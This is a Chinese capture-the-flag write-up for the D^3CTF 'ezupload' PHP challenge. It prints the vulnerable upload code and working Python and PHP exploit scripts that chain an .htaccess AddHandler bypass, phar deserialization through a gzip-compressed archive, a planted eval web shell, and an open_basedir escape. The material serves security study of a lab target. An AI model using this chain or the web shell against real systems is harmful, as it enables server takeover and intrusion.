[D^3CTF]EZupload WP
又是看官方wp复现的一篇二手文章
web
ezupload
<?php
class dir
{
public $userdir;
public $url;
public $filename;
public function __construct($url, $filename)
{
$this->userdir = "upload/" . md5($_SERVER["REMOTE_ADDR"]);
$this->url = $url;
$this->filename = $filename;
if (!file_exists($this->userdir)) {
mkdir($this->userdir, 0777, true);
}
}
public function checkdir()
{
if ($this->userdir != "upload/" . md5($_SERVER["REMOTE_ADDR"])) {
die('hacker!!!');
}
}
public function checkurl()
{
$r = parse_url($this->url);
if (!isset($r['scheme']) || preg_match("/file|php/i", $r['scheme'])) {
die('hacker!!!');
}
}
public function checkext()
{
if (stristr($this->filename, '..')) {
die('hacker!!!');
}
if (stristr($this->filename, '/')) {
die('hacker!!!');
}
$ext = substr($this->filename, strrpos($this->filename, ".") + 1);
if (preg_match("/ph/i", $ext)) {
die('hacker!!!');
}
}
public function upload()
{
$this->checkdir();
$this->checkurl();
$this->checkext();
$content = file_get_contents($this->url, NULL, NULL, 0, 2048);
if (preg_match("/\<\?|value|on|type|flag|auto|set|\\\\/i", $content)) {
die('hacker!!!');
}
file_put_contents($this->userdir . "/" . $this->filename, $content);
}
public function remove()
{
$this->checkdir();
$this->checkext();
if (file_exists($this->userdir . "/" . $this->filename)) {
unlink($this->userdir . "/" . $this->filename);
}
}
public function count($dir)
{
if ($dir === '') {
$num = count(scandir($this->userdir)) - 2;
} else {
$num = count(scandir($dir)) - 2;
}
if ($num > 0) {
return "you have $num files";
} else {
return "you don't have file";
}
}
public function __toString()
{
return implode(" ", scandir(__DIR__ . "/" . $this->userdir));
}
public function __destruct()
{
$string = "your file in : " . $this->userdir;
file_put_contents($this->filename . ".txt", $string);
echo $string;
}
}
if (!isset($_POST['action']) || !isset($_POST['url']) || !isset($_POST['filename'])) {
highlight_file(__FILE__);
die();
}
$dir = new dir($_POST['url'], $_POST['filename']);
if ($_POST['action'] === "upload") {
$dir->upload();
} elseif ($_POST['action'] === "remove") {
$dir->remove();
} elseif ($_POST['action'] === "count") {
if (!isset($_POST['dir'])) {
echo $dir->count('');
} else {
echo $dir->count($_POST['dir']);
}
}
这题上传文件是通过post
传递url
、filename
、action
三个参数实现的,其中url
为文件的内容,filename
为文件名。
然后又是那个老问题,没有解析点,所以还是靠.htaccess
或者.user.ini
解决。
但是在checkurl()
以及upload()
中会检查文件内容,所以.user.ini
是没法用了(auto_prepend_file、auto_append_file
),.htaccess
中application/x-httpd-php
也没法用了。
public function checkurl()
{
...
if (!isset($r['scheme']) || preg_match("/file|php/i", $r['scheme'])) {
die('hacker1111!!!');
...
public function upload()
{
...
if (preg_match("/\<\?|value|on|type|flag|auto|set|\\\\/i", $content)) {
die('hacker2222!!!');
}
...
所以应该是一个新的考点,htaccess
的addhandler
不止application/x-httpd-php
,还有比如说php7-script
、php5-script
等。
所以上传一个.htaccess
import requests
from requests_toolbelt import MultipartEncoder
url = 'http://localhost/ezupload.php'
m = MultipartEncoder(
fields={'filename': '.htaccess', 'action': 'upload',
'url': 'data:image/png;base64,QWRkSGFuZGxlciBwaHA3LXNjcmlwdCAudHh0'}
)
r = requests.post(url=url, data=m,
headers={'Content-Type': m.content_type})
print r.text
此时文件内容为AddHandler php7-script .txt
。这为什么可以绕过检测呢?
主要是checkurl()
是直接检测变量url
的内容,此时url
的值为base64加密过的,所以绕过checkurl()
。在upload()
中读到的真实的内容,可是又因为upload()
中并没有检测关键字php
,所以AddHandler php7-script .txt
成功绕过。
接着上传shell
,但是upload()
中将php
尖括号什么都过滤了,短标签也没法用。所以考虑一下phar
反序列化+压缩试一下绕过。
考虑一下如何构造phar
文件,首先找到触发点。在upload()
中有个文件操作函数file_put_contents($this->userdir . "/" . $this->filename, $content);
应该能完成phar
反序列化。因此我们的反序列化内容应该是通过url
变量进去,然后在上面的$content
中触发。
然后是构造哪些内容。看到有两个魔术函数
public function __toString()
{
return implode(" ", scandir(__DIR__ . "/" . $this->userdir));
}
public function __destruct()
{
$string = "your file in : " . $this->userdir;
file_put_contents($this->filename . ".txt", $string);
echo $string;
}
其中_toString
可以输出_DIR_
,而_destruct
可以用来写shell
。
所以我们先来看一下当前路径有什么文件,phar
文件如下生成:
<?php
class dir{
public $userdir;
public $url;
public $filename;
}
$b = new dir();
$a = new dir("url", "filename");
$a->filename = 'upload/123/test';
$a->userdir = $b;
@unlink('vul.phar');
$phar = new Phar("vul.phar");
$phar->startBuffering();
$phar->addFromString("test.txt", "test");
$phar->setStub("GIF89a" . " __HALT_COMPILER(); ");
$phar->setMetadata($a);
$phar->stopBuffering();
@rename('vul.phar','1.jpg')
?>
上传代码如:
import requests
from requests_toolbelt import MultipartEncoder
import gzip
import base64
import urllib
url = 'http://c5f39613-77b8-4cd3-a6f4-fb5ce8770876.node3.buuoj.cn'
def upload():
f_in = open("1.jpg", "rb")
f_out = gzip.open("1.jpg.gz", "wb")
f_out.writelines(f_in)
f_out.close()
f_in.close()
f = open('1.jpg.gz', 'rb')
dd = base64.b64encode(f.read())
m = MultipartEncoder(
fields={'filename': 'vul.phar.gz', 'action': 'upload',
'url': 'data:image/png;base64,%s' % (dd)}
)
r = requests.post(url=url, data=m,
headers={'Content-Type': m.content_type})
print r.text
def check():
dd = 'phar://./upload/33c6f8457bd77fce0b109b4554e1a95c/vul.phar.gz/1.jpg'
data = {'filename': 'zzz.txt', 'action': 'upload', 'url': dd }
r = requests.post(url=url, data=data, headers={'Content-Type': 'application/x-www-form-urlencoded'})
print r.text
upload()
check()
此时整个代码的流程:
-
index.php
会生成一个dir
类(不妨记为$base
),url=phar://./upload/33c6f8457bd77fce0b109b4554e1a95c/vul.gz.rar/1.jpg
以及filename=la.txt
$dir = new dir($_POST['url'], $_POST['filename']);
- 代码运行到
upload()
下的file_get_contents
函数时,触发反序列化
$content = file_get_contents($this->url, NULL, NULL, 0, 2048);
- 反序列化产生了一个
dir
类的对象$a
,各参数如下:
$b = new dir();
$a = new dir();
$a->filename = 'upload/837ec5754f503cfaaee0929fd48974e7/test';
$a->userdir = $b;
-
$a
并没有执行任何函数,所以直接就来到了_destruct
public function __destruct()
{
$string = "your file in : " . $this->userdir;
file_put_contents($this->filename . ".txt", $string);
echo $string;
}
- 在执行
$string = "your file in : " . $this->userdir;
的时候会将$a->userdir
也就是$b
强制转化为字符串,此时触发$b->__toString()
public function __toString()
{
return implode(" ", scandir(__DIR__ . "/" . $this->userdir));
}
-
$b->toString()
返回了__DIR__/$b->userdir
下所有文件,因为此时$b->userdir=null
,所以返回了网站根目录下所有文件。 - 此时
$b
也走到了__destruct
,打印出your file in : $b->userdir
,也就是your file in :
- 然后回到
$a->__destruct
打印出网站根目录下所有文件 - 此时运行完
$base->upload()
剩下的代码,$base
也走到了__distruct
打印出your file in : upload/33c6f8457bd77fce0b109b4554e1a95c
然后看一下网站根目录是在哪个路径下,根据上述步骤的第六步,只需要改一下$b->userdir='../'
即可
shell
,刚才已经弄明白了整条链,现在也差不多,只需要利用__destruct()
将shell
写入文件,代码如下:
<?php
class dir{
public $userdir;
public $url;
public $filename;
}
$a = new dir("url", "filename");
$a->filename = '/var/www/html/2c75cf2681788ada/upload/33c6f8457bd77fce0b109b4554e1a95c/zz';
$a->userdir = '<?php eval($_REQUEST[122]); phpinfo();';
@unlink('vul.phar');
$phar = new Phar("vul.phar");
$phar->startBuffering();
$phar->addFromString("test.txt", "test");
$phar->setStub("GIF89a" . " __HALT_COMPILER(); ");
$phar->setMetadata($a);
$phar->stopBuffering();
@rename('vul.phar','1.jpg')
?>
直接利用$a
的__destruct
来完成写入
public function __destruct()
{
$string = "your file in : " . $this->userdir;
file_put_contents($this->filename . ".txt", $string);
echo $string;
}
然后访问zz.txt
即可
发现
open_basedir=/var/www/html
,绕过
ini_set('open_basedir', '..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir', '/');var_dump(scandir('/'));
坑点
我真佛了。。buuoj
上那个目录竟然会定时更新,我一开始得到的目录,然后后面用这个目录一直失败,后来发现环境竟然会更新,所以又需要从上传.htaccess
,获取目录,上传shell
重新再走一遍。本地打通了,结果远程一直打不通,头发都抓掉了,浪费了我的一天。。
未完待续